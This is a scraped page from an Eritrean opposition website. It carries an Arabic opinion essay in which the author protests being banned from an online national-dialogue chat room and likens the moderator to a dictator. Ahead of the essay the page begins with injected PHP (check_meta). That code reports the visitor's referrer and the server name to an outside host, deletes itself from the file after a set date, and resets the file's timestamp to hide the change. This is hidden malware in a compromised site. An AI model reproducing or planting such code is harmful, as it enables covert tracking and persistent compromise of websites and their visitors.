check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456727708){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=17&id=18776693&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_content/helpers/helpers.php"); } ما بين الزرِ والمسدس
кремлевская диета

ما بين الزرِ والمسدس

User Rating: / 0
PoorBest 

 

 

 

 

 

 

 

 

 

ما بين الزرِ والمسدس!

بقلم : حامد عبدالله

 

البارحة، في ليلة الخامس من ابريل 2013 أستضافت غرفة الحوار الوطنى العربية، المناضل حسين خليفة. وكنت مع عدد من رواد الغرفة الالكترونية في انتظار إنعقاد الندوة في موعدها المحدد فى الاعلان المنشور منذ فترة! وكالعادة تأخر كثيراً بدؤها، ولم يصل الينا المحاضر الاّ بعد مضى أكثر من ساعة من الموعد المضروب.. وقد ضقت ذرعاً من التأخير.. وعبرت عن انزعاجى الشديد، وأفصحت عن رغبتى بضرورة الالتزام باحترام المواعيد باستفهام مقصود :" لماذا لا نتقيد بالمواعيد؟!". وبينما نحن فى حالة ترقب وإنتظار، ظن مدير إدارة الندوة ان الضيف الكريم قد تمكن من الاتصال بنا، وطلب منا أن نحيية كما هو متبع دائماً، ففعلنا بارسال عبارات الترحيب به أو باستخدام الرموز الالكترونية المعبرة عن الترحاب.. وإدارة الغرفة رحبت بالضيف ببث عبارة ترحيب طويلة:" أهلاً وسهلاً بالرمز والمناضل..". ورأيت أن كلمة"الرمز" لا تليق بالمناضل، وهى تنتمى الى "زمرة" المصطلحات من نوع :" الزعيم الاوحد، القائدة الضرورة، الملك المبجل.. القائد الرمز"ويراد بمثل هذه المصطلحات عادة خلق هالة من القداسة الزائفة حول القائد تضفى عليه نوعاً من العصمة تحول دون نقده أو محاسبتة، ومع الوقت تجعله دكتاتوراً مؤلهاً لا ياتيه الباطل من بين يديه ولا من خلفه! وترمى ابقاءه على سدة القيادة حياً أو ميتاَ! وتحيل امر القيادة بالوراثة الي ذريته الميمونة! ومن هنا؛ من منطلق مبدئى أننا نقاوم دكتاتوراً هرماً يجثم على صدورنا، ونبذل مجهوداً وطنيّا جباراً ونكابد ألاماً لا مثيل لها لاسقاطه، فلا يمكننا في الوقت ذاته أن نقبل بصناعة دكتاتوراً آخر من سنه نستبدله به ونمنحه قداسة تحصنه من النقد البناء، وتمنعنا من خلعه حين يفقد مؤهلات القيادة المشروعة؛ ولهذا السبب وحده اعترضت بكل احترام وأدب على استخدام كلمة "الرمز" في الترحيب بالضيف الكريم بالقول :" بلاش الرمز.. تكفيه المناضل.." ولم أرذ شيئاً من الكلام قد يُفهم منه الاساءة لأحد. وأنا بطبعى لا اسئ إلى الناس أياّ كانت مقاوماتهم ..!

وعلاوة على مابيناه من مدلول كلمة " الرمز"، فان المناضل حسين خليفة مع تقديري لدوره الوطنى، فانه لا يمثل رمزاً لجميعنا على الاقل نحن مرتادو غرفة الحوار الوطنى وربما يريد أتباعه ان يجعلوه رمزاً لهم، وهذا خيارهم نحترمه، ولسنا في وارد جرمانهم حق اختيارهم، ولكن في الوقت عينه نرفض بشدة أن يفرض علينا خيار لا نؤمن به!! ومن حقنا ان نعبر عن رفضنا بالوسائل المتاحة وفي حدود ادب الحوار .. وهو ما فعلته البارحة .!

في الغرفة العربية للحوار الوطنى، تجرى – في الغالب – المكاتبة، أو المشافهة أو تبادل النكات.. بين الرواد بلغة " التجرى " مكتوبة بالحروف الهجائية العربية أو اللاتينية .. والمشهد المتكرر أستفزني، وأثار في نفسى نوعاً من التناقض الصارخ بين الادعاء وبين الممارسة العملية؛ ادعاؤنا ان اللغة العربية هى لغتنا، والدكتاتور يحرمنا استخدامها بقوة السلطة! وفى حين نمارس فعلاً نقيضا على ما ندعى عندما تتاح لنا فرصة الممارسة العملية.. ومن هنا؛ أردت ان الفت انتباه الذين يفعلون ذلك، فكتبت مستفهما:" هل هذه غرفة عربية .. أم أنها اسم بلا مسمى.. فاذا كانت غرفة عربية، فلماذا لا يجرى الحوار بين روادها باللغة العربية..؟!". وعلى الفور رَدّ علىّ أخاً عزيزاً يحذرنى:"إذا لم تلتزم الهدوء سوف نقطع لك تذكرة ذهاب على التونسية بلا عودة..، ويدعونى الى التعقل..؟!". بأمانة .. أستغربت من هذا الانذار المفاجئ، وشعرت ان محذرى يتصرف بهوج طائش .. وبدا لي انه يفتقد الى الصبر على الرأى المخالف، ويفتقر تماماً الى ادب الحوار الهادف .. وعليه تجاهلته وإنذاره الطائش! وأخذت بطرف خيط الدعوة الى التعقل وعقبت عليه بالقول:" أنا عاقل .. واعى ما اقول .. وما أعنيه بوضوح: ان اللغة العربية هي لغتى الاساسية استخدمها فى الحوار الجاد أو فيما اهزُل فى محفل عام ..؟". وعلى كل حال ليست اللغة العربية مومياءاً محنطا نلفه بكفن القداسة نضعه بعناية يرقد فى افئدتنا! انما هى لغة التواصل الحي بيننا !!

مازلت استبطن فى اعماق وعى نوعا من الاستهجان لأستخدام أية لغة اخرى غير العربية عندما يجرى الحوار بين الارتريين، وذلك لعدة اسباب؛ أما السبب الأول وفى حالتنا الأنية، فان رواد الغرفة العربية يشكلون خليطاً من الناس، من مختلف القبائل والجهات الارترية، ومنهم من لا يعرف لغة "التجرى" التى يستخدمها بعضنا فى جِدهم أو هزلهم..وفى هذه الحالة يُعد استخدام " التجرى " فى اجتماع عام للناس من مختلف الفئات الالسنية المتعددة نوعاً من ممارسة شغب غير مسؤول يشوش على الحضور ويعطى انطباعاً لمن لا يفهمون " التجرى" أنهم يتعرضون الى نوع من النميمة أو الاغتياب.؟ وأما السبب الثانى فان الاغلبية من الرواد يجيدون التعبير باللغة العربية الفصيحة، وهى القاسم المشترك بيننا جميعاً.. اما السبب الآخر، فهو سبب مبدئ يتعلق بقناعتى الشخصية على الاقل، وليس لى مجال للمساومة فيه، ففى قناعتى ان الذين يستخدمون لغة " التجرى" فى حوار وطنى مفتوح، وهم يعرفون العربية، فانهم لا يختلفون عملياً عن " أفورقى " فى فلسفته الداعية الى فرض لغة الأم فى التعليم وفى وسائل الاتصال الجماهيرى.. ويهدف الي تهميش اللغة العربية أو شطبها كلياً من حياتنا الثقافية، بحجة أنها ليست لغتنا بالاصالة وانما نتبناها لتعويض عقد النقص فى الهوية الثقافية! فهى اذن فى نظره لغة وافدة من خارج الحدود حُملت الينا على جناح مؤثرات دينية بحته..! فالذين يتشبثون باستعمال لغة " التجرى" فى حوار عام يعززون حجة " أفورقى" ودعوته ويمنحونه دليلاً عملياً على صحة نظريته.. فهل يرضى هؤلاء بهذه النتيجة البلهاء؛ نتيجة اقصاء اللغة العربية أو تهميشها أو شطبها كلياً من حياتنا العامة؟؟

أجدنى لا ألمس فرقاً جوهرياً بين " افورقى" واتباعه من جهة، وبين هؤلاء من جهة آخرى؛ فهو"يُتِجْرِنُنَا" بقوة السلطة الغاشمة وبتخطيط محكم، بينما أصحابنا يريدون بالهزل، وباللامبالاة أن يفرضوا علينا لغتهم :" تِجْريهم ؟".

بالجملة .. هذا ما جرى البارحة بيني وبين الأخوة فى غرفة الحوار الوطنى العربية، وبدون أن اعرف سبباً وجيهاً تم حظرى من دخول الغرفة! وبالنتيجة مُنِعت من المشاركة فى الحوار!وبالمناسبة أريد ان افصح بأنى كنت معترضاً أيضا على بداية المحاضر الغير موفقة، وكنت أهم ان أقدم اعتراضاً مكتوباً بصيغة ملائمة، وما كنت أنوى الاعتراض عليه هو :

أولاً : لمست أن الضيف لم يُعدْ جيداً موضوع محاضرته مسبقاً كما يفعل كل مسؤول جاد يحترم مواطنيه، ودليلى على ذلك أنه دشن ندوته يطلب منا ان نوجه اليه أسئلتنا !! وقد اعترض عليه بعض الحضور مما اعفانى من حرج الأعتراض !!

ثانياً :بالحاح من الحضور ، بدأ الضيف مرتبكاً يحدثنا عن تأريخ المعارضة الارترية بعيداً عن عنوان الندوة : " مخرجات مؤتمر التحالف الديمقراطي " وأخذ يسرد علينا حكاية طويلة تستقرق وقتاً طويلاً تزيدنا ارقاً اضافياً على أرقنا ونحن فى آخر الليل، وتلهينا عن مناقشة موضوعنا الاساسى بالحيوية المطلوبة، وهو موضوع الساعة!

وفى رأيى ليس من حقه ان يهلكنا بسرد حكاية طويلة خارجة عن موضوعنا ولا نجنى من ورائها منفعة حقيقية!.

لو رزق صاحب الغرفة بعض الصبر، وامهلني قليلا لاقدم ما كنت أنوى الاعتراض عليه، ربما لساء وضعه النفسى! ولبلغ به الحمق مبلغاً الجنون مما قد يدفعه الى تحسس خصره يبحث عن مسدسه ليصوبه الى جبهتى ليردينى قتيلاً.. وهو ما يفعله كل دكتاتور قمييء يضيق بالراى الحر ويحترف القمع!

لا فرق- اذن -من ناحية المعيار الاخلاقى بين دكتاتور يضغط على زناد مسدسه ليقتل مناضلاً حراً وبين مستبد صغير مشبع بثقافة الاستبداد يضغط باستهتار مكشوف على زر الكترونى ليحجب رأيّاً مخالفاً لرأيه.. ولنقرب معنى ما نقصد نقول : " أن أفورقى "دكتاتور متعجرف يملك من سلطة القتل ومن أدواتها الشئ الكثير، وبتهور كم من اصحاب الرأى الحر أزهق أرواحهم البريئة بلاوازع من ضمير، وصاحبنا الذى حجب رأيى لا يملك من سلطة القمع اكثر من ضغط زر الكترونى يُمكّنه من الاغتيال المعنوى..وقد فعل ما فعل بدون وازع من ضمير..لان ثقافة الاستبداد قد اعمته، وهى بالاصل تميت الضمائر!!

فهل أنا مخطئ؟؟!!

This e-mail address is being protected from spambots. You need JavaScript enabled to view it

 

 



Add comment

Your comments are as important as the article you are commenting on. Please enrich the discussion by avoiding personal attacks. We'll publish your comment, if it meets our criteria. تعليقاتك لا تقل اهمية عن المقال المكتوب اعلاه، فالرجاء اثراء النقاش بالابتعاد عن الاساءات الشخصية. سوف ننشر تعليقك اذا استوف شروط النشر



Security code
Refresh

Enough dictatorship

Get Adobe Flash player

Arkokabay Media -----> Poem

Get Adobe Flash player

مرض الرئيس الأريتري بين الشائعة والنفي

Get Adobe Flash player

ALIA GABRES- SHE COTTON SUMMER DRESSES

Get Adobe Flash player

عمود الكتاب العربي

Arkokabay.com
Arkokabay.com
OMAR JABIR الأستاذ عمر جابر
OMAR JABIR الأستاذ عمر جابر
Zein Shokayالأستاذ زين شوكاي
Zein Shokayالأستاذ زين شوكاي
سعادة السفير حمد كلُ
سعادة السفير حمد كلُ
الأستاذ صلاح أبوراي
الأستاذ صلاح أبوراي
 الأستاذة حنان
الأستاذة حنان
الأستاذ موسى ضرار
الأستاذ موسى ضرار
الأستاذ أبو الرشيد
الأستاذ أبو الرشيد
الأستاذ عبدالفتاح ود الخليفة
الأستاذ عبدالفتاح ود الخليفة
الأستاذ ياسين محمد عبدالله
الأستاذ ياسين محمد عبدالله
الأستاذ محمد نور - بركان
الأستاذ محمد نور - بركان
الأستاذ جمال همد
الأستاذ جمال همد
الأستاذ فكاك ناير
الأستاذ فكاك ناير
الأستاذ أحمد صلاح الدين
الأستاذ أحمد صلاح الدين
Amal Ali الأستاذة أمال علي
Amal Ali الأستاذة أمال علي
Mohamed - Wahran Eritreaمحمد - وهران ارتريا
Mohamed - Wahran Eritreaمحمد - وهران ارتريا
الأستاذ حسن سلمان
الأستاذ حسن سلمان
الأستاذة منى محمد صالح
الأستاذة منى محمد صالح
الاستاذة نوره فارس
الاستاذة نوره فارس